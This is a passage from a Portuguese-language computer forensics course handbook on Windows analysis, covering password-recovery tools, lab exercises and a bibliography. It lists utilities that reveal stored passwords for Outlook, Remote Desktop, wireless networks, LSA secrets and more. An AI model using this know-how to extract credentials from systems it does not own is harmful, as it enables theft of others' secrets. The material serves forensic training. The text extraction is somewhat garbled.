O mais importante: se utilizar alguma das ferramentas a seguir, evite divulgar as


informaes que porventura consiga visualizar.

Anlise forense Sesso de aprendizagem 10


175

\\accesspv.exe Permite visualizar senhas de


Recuperao de senhas arquivos Access.

\\lsasecretsview.exe Acessa diversas chaves de


accesspv.exe
lsasecretsview.exe registro que armazenam senhas.
mailpv.exe
\\mailpv.exe Lista login e senha de usurios
mspass.exe
configurados no MSN ou Hotmail.
netpass.exe
pspv.exe \\mspass.exe Lista login e senha de usurios
pstpassword.exe configurados no MSN.
rdpv.exe
wirelesskeyview.exe \\netpass.exe Visualiza senhas armazenadas de
auto-logon, Windows Live e .NET.

\\pspv.exe Protected Storage Pass View, senhas


armazenadas pelo Internet Explorer.

\\pstpassword.exe Visualiza senhas em arquivos do Microsoft Outlook.

\\rdpv.exe Visualiza senhas configuradas no Remote Desktop.

\\wirelesskeyview.exe Visualiza senhas configuradas para redes wireless.

Concluses
Concluses

Conhecemos diversas ferramentas e tcnicas para


Conhecemos ferramentas e tcnicas para coleta de
informaes importantes em sistemas Windows. coleta de informaes importantes em sistemas
Aprendemos tcnicas para realizao de anlise forense Windows. Durante o curso, o aluno aprendeu tcnicas
e ferramentas para uma resposta inicial a um incidente. de anlise forense e conheceu ferramentas para uma
O aluno j possui conhecimentos para realizar anlises resposta inicial a um incidente.
em computadores comprometidos e identificar os
responsveis e eventos que comprometeram o sistema.
importante que o aluno entenda que este material A partir de agora, o aluno possui uma base de
serve como uma base para que ele possa pesquisar e se conhecimento para realizar anlises em computadores
aprofundar no assunto.
comprometidos e identificar responsveis e eventos que
possam ter causado o comprometimento do sistema,
e com isso desenvolver medidas preventivas contra
ataques. Mesmo assim, importante que o aluno entenda que este material serve
como uma base para que ele possa pesquisar e se aprofundar no assunto. As ati-
vidades prticas e a bibliografia ajudam-no a iniciar sua pesquisa por mais informaes.

Anlise forense avanada em Windows (parte 2)


176
Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 10


10
Sesso de aprendizagem 10
Anlise forense avanada em Windows
(parte 2)
Roteiro de atividades
Tpicos e conceitos

\\Identificar as conexes de rede e informaes do sistema operacional


Windows.

Competncias tcnicas desenvolvidas

\\Identificar
as conexes e portas ativas de rede e outras informaes volteis
da estao Windows.

Outras competncias desenvolvidas

\\Capacidade de investigao e pesquisa do aluno.

Tempo previsto para as atividades

\\90 minutos
178
Escola Superior de Redes RNP

Atividade 1 Coleta de informaes de redes

Usando as ferramentas vistas nessa sesso, colete todas as evidncias


sobre conexes de rede em sua estao. Pesquise na internet as portas
abertas em sua estao e descreva o servio oferecido por elas. Pesquise
tambm as vulnerabilidades que podem afetar as portas.

Atividade 2 Coleta de informaes em registros do Windows

Utilizando as ferramentas de anlise do registro, examine o registro de


sua estao e faa um relatrio sobre o contedo das chaves
importantes, de acordo com o que foi mostrado no texto. Existe alguma
inconsistncia no resultado das ferramentas? Faa tambm uma cpia
completa do registro.

Atividade 3 Anlise de contedo do Recycle.Bin

Faa um relatrio sobre o contedo dos diretrios Recycler em sua


estao. Liste todos os usurios disponveis e o contedo dos diretrios
Recycler de cada um. Capture o contedo da rea de transferncia e
coloque em seu relatrio. Faa tambm uma pesquisa pelo ltimo arquivo
acessado no drive C: e coloque no relatrio todas as informaes
possveis sobre ele.

Atividade 4 Recuperao de dados ocultos ADS

Procure no disco de sua estao por arquivos que contenham Alternate


Data Streams. Faa um resumo dos tipos de arquivos encontrados.

Atividade 5 Anlise do histrico de navegao

Examine o histrico de navegao e cookies em sua estao. Voc


consegue dizer se a estao foi utilizada para acessar sites que no tm
a ver com o curso? Que tipo de informao voc considera mais
importante para uma investigao?

Anlise forense Sesso de aprendizagem 10


179

Atividade 6 Recuperao de senhas

Utilizando as ferramentas vistas no item de recuperao de senhas,


examine as informaes armazenadas em sua estao. Faa um relatrio
das senhas que encontrar. Lembre-se de manter o sigilo sobre o que
encontrar, mas informe ao seu instrutor se encontrar alguma senha de
uso pessoal armazenada na estao.

Anlise forense avanada em Windows (parte 2)


180
Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 10


Bibliografia
\\Access Data. Acesso em maro de 2008, disponvel em: http://www.accessdata.com/

\\Alertas do CAIS. Acesso em maro de 2008, disponvel em:


http://www.rnp.br/cais/alertas/

\\Analysis of the ATD OpenSSL Mass Exploiter. Acesso em maro de 2008,


disponvel em SecureWorks: http://www.lurhq.com/atd.html

\\Another hacker tool has been detected. Acesso em maro de 2008, disponvel em
Computing and Networking Services: http://cns.utoronto.ca/~scan/expltool.txt

\\Autopsy Forensic Browser. Acesso em maro de 2008, disponvel em:


http://www.sleuthkit.org/autopsy/

\\AVG Free. Acesso em maro de 2008, disponvel em:


http://free.grisoft.com/doc/2/lng/us/tpl/v5

\\BitDefender. Acesso em maro de 2008, disponvel em:


http://www.bitdefender.com/site/Downloads/

\\Botnet from SearchSecurity.com. Acesso em maro de 2008, disponvel em


SearchSecurity.com Definitions:
http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci1030284,00.html

\\Botnet from Wikipedia. Acesso em maro de 2008, disponvel em Wikipedia:


http://en.wikipedia.org/wiki/Botnet

\\CERT Advisory CA-2002-23 Multiple Vulnerabilities In OpenSSL. Acesso em maro


de 2008, disponvel em CERT: http://www.cert.org/advisories/CA-2002-23.html

\\Chkrootkit. Acesso em maro de 2008, disponvel em: http://www.chkrootkit.org

\\Clam AntiVirus. Acesso em maro de 2008, disponvel em:


http://www.clamav.org/about/lang-pref/pt/

\\Computer Desktop Encyclopedia: slack space. Acesso em maro de 2008, disponvel


em Answers.com: http://www.answers.com/topic/slack-space?cat=technology

\\Digital
Forensic Research Workshop. Acesso em maro de 2008, disponvel em
DFRWS: http://www.dfrws.org/
\\Dynamic-link library from Wikipedia. Fonte: Wikipedia:
http://en.wikipedia.org/wiki/Dynamic-link_library

\\EnCase Forensic. Acesso em maro de 2008, disponvel em Guidance Software:


http://www.guidancesoftware.com/products/ef_index.asp

\\Express, M. o. (6 de agosto de 1999). Murder_on_the_Internet_Express.pdf.


Acesso em maro de 2008, disponvel em Neoprag:
http://www.neoprag.com/dcm/Murder_on_the_Internet_Express.pdf

\\Forensic Computers, Inc. Acesso em maro de 2008, disponvel em:


http://www.forensic-computers.com/index.php

\\Forensic Windows Tools. Acesso em maro de 2008, disponvel em Open Source


Digital Forensics: http://www.opensourceforensics.org/tools/windows.html

\\Forensics Tools. Acesso em maro de 2008, disponvel em ForinSect - Forensics,


Intrusion Detection, Security Technology:
http://www.forinsect.de/forensics/forensics-tools.html

\\F-PROT Antivirus. Acesso em maro de 2008, disponvel em:


http://www.f-prot.com/download/home_user/

\\Helix:
Incident Response & Computer Forensics Live CD by e-fense, Inc. Acesso
em maro de 2008, disponvel em Helix Live CD: http://www.e-fense.com/helix

\\Helix from Forensics Wiki. Acesso em maro de 2008, disponvel em Forensics Wiki:
http://www.forensicswiki.org/index.php?title=Helix

\\IDA Pro. Acesso em maro de 2008, disponvel em DataRescue:


http://www.datarescue.com/

\\Inside Security Rescue Toolkit. Acesso em maro de 2008, disponvel em Inside


Security: http://www.inside-security.de/insert_en.html

\\LDasm. Acesso em maro de 2008, disponvel em Feedface:


http://www.feedface.com/projects/ldasm.html

\\Linux.RST.B. Acesso em maro de 2008, disponvel em Symantec:


http://www.symantec.com/security_response/writeup.jsp?docid=2004-052312-2729-99

\\md5deep. Acesso em maro de 2008, disponvel em sourceforge.net:


http://md5deep.sourceforge.net

\\Microsoft NTFS File System. Acesso em maro de 2008, disponvel em Microsoft


TechNet: http://www.microsoft.com/technet/prodtechnol/windows2000serv/
reskit/core/fncc_fil_khzt.mspx?mfr=true

\\Nachi worm tries to undo Blaster damage - but no virus is a good virus, says
Sophos. (19 de Ago de 2003). Acesso em maro de 2008, disponvel em Sophos:
http://www.sophos.com/pressoffice/news/articles/2003/08/va_nachi.html

\\National Software Reference Library. Acesso em maro de 2008, disponvel em:


http://www.nsrl.nist.gov/
\\NIST. Cryptographic hash project. Fonte: NIST.gov:
http://www.csrc.nist.gov/groups/ST/hash/index.html

\\NTFS file system. Acesso em maro de 2008, disponvel em Digit-Life:


http://www.digit-life.com/articles/ntfs/

\\NTFS Master File Table (MFT). Acesso em maro de 2008, disponvel em NTFS.com:
http://www.ntfs.com/ntfs-mft.htm

\\NTFS System (Metadata) Files. Acesso em maro de 2008, disponvel em


PCGuide: http://www.pcguide.com/ref/hdd/file/ntfs/archFiles-c.html

\\OllyDbg. Acesso em maro de 2008, disponvel em OllyDbg: http://www.ollydbg.de/

\\Ondrej, M. (2 de dezembro de 2004). Practical Attacks on Digital Signatures


Using MD5 Message Digest. Acesso em maro de 2008, disponvel em:
http://cryptography.hyperlink.cz/2004/collisions.htm

\\Panda Antivirus. Acesso em maro de 2008, disponvel em Panda Security:


http://www.pandasecurity.com/brazil/

\\Piccolini,J. D. Forensics under Brazilian Legislation. Acesso em maro de 2008,


disponvel em GIAC Certified Forensic Analyst (GCFA) Practical Assignment:
http://www.giac.org/certified_professionals/practicals/gcfa/86.php

\\Pimenta, Flvio Aparecido. Percia forense computacional baseada em sistema


operacional Windows XP Professional. Sorocaba: Senac, 2007.

\\ProcessLibrary.com. Acesso em maro de 2008, disponvel em:


http://www.processlibrary.com/

\\Prosise, C., & Mandia, K. (2001). Incident Response: Investigating Computer


Crime. McGraw-Hill. psyBNC. Acesso em maro de 2008, disponvel em:
http://www.psybnc.info/

\\RFC 1321. (Abril de 1992). Acesso em maro de 2008, disponvel em faqs.org:


http://www.faqs.org/rfcs/rfc1321.html

\\RFC 3174. (Setembro de 2001). Acesso em maro de 2008, disponvel em faqs.org:


http://www.faqs.org/rfcs/rfc3174.html

\\RST-variant analysis. Acesso em maro de 2008, disponvel em Lockeddown:


http://www.lockeddown.net/rst-expl.txt

\\Scott, M. (Agosto de 2003). Independent Review of Common Forensic Imaging


Tools. Acesso em maro de 2008, disponvel em SANS Institute:
http://www.sans.org/reading_room/special/index.php?id=forensicimaging

\\SID: Security Identifier. Acesso em maro de 2008, disponvel em Webopedia


ISP Glossary: http://isp.webopedia.com/TERM/S/SID.html

\\SID Components. Acesso em maro de 2008, disponvel em msdn:


http://msdn2.microsoft.com/en-us/library/aa379597(VS.85).aspx
\\Slack space data: Subversive Technologies & Countermeasures. Acesso em
maro de 2008, disponvel em Wikipedia:
http://www.wikistc.org/wiki/Slack_space_data

\\Solaris Fingerprints Database. Acesso em maro de 2008, disponvel em:


http://sunsolve.sun.com/fileFingerprints.do

\\Steganography from Wikipedia. Acesso em maro de 2008, disponvel em


Wikipedia: http://en.wikipedia.org/wiki/Steganography

\\Steganography: Hiding Data Within Data. Acesso em maro de 2008, disponvel


em GaryKessler.Net: http://www.garykessler.net/library/steganography.html

\\Szydlo, M. (19 de Agosto de 2005). SHA1 Collisions can be Found in 2^63


Operations. Acesso em maro de 2008, disponvel em RSA Laboratories:
http://www.rsa.com/rsalabs/node.asp?id=2927

\\The Coroners Toolkit. Acesso em maro de 2008, disponvel em:


http://www.porcupine.org/forensics/tct.html

\\The Honeynet Project. Acesso em maro de 2008, disponvel em:


http://www.honeynet.org/

\\The NTFS File System from Sleuth Kit Implementation Notes (SKINs). Acesso em
maro de 2008, disponvel em Sleuth Kit:
http://www.sleuthkit.org/sleuthkit/docs/skins_ntfs.html

\\The Programmers File and Data Resource. Fonte: Wotsit.org:


http://www.wotsit.org/list.asp?fc=0

\\The Sleuth Kit. Acesso em maro de 2008, disponvel em: http://www.sleuthkit.org/

\\Transactional NTFS (TxF). Acesso em maro de 2008, disponvel em msdn:


http://msdn2.microsoft.com/en-us/library/aa365456.aspx

\\Tripwire.Acesso em maro de 2008, disponvel em Tripwire - Configuration Audit


& Control Solutions: http://www.tripwire.com

\\Vexira Antivirus. Fonte: http://www.centralcommand.com/

\\VMware Virtualization, Virtual Machine & Virtual Server Consolidation - VMware.


Acesso em maro de 2008, disponvel em VMWare: http://www.vmware.com/

\\Wine HQ. Acesso em maro de 2008, disponvel em Wine HQ:


http://www.winehq.org/

Seja um investigador
capaz de coletar evidncias digitais
e conduzir uma anlise em
sistemas comprometidos
Anlise forense

O curso apresenta as tcnicas e ferramentas utilizadas


em anlise forense computacional. Aprenda os procedi-
mentos a serem seguidos pelo investigador durante a
anlise do incidente. Crie o CD de ferramentas forenses
que ser utilizado durante a investigao.
Aprenda a coletar evidncias em uma imagem de disco
de uma mquina comprometida. Elabore uma cronolo-
gia do ataque, descrevendo o que aconteceu e quando
ocorreu cada evento do computador investigado.
Compreenda as particularidades do processo de an-
lise forense em Linux e Windows e a gnese das infor-
maes que devem ser coletadas em cada situao
enfrentada. Identifique as informaes dos programas
executados e as bibliotecas associadas.

www.esr.rnp.br

Anda mungkin juga menyukai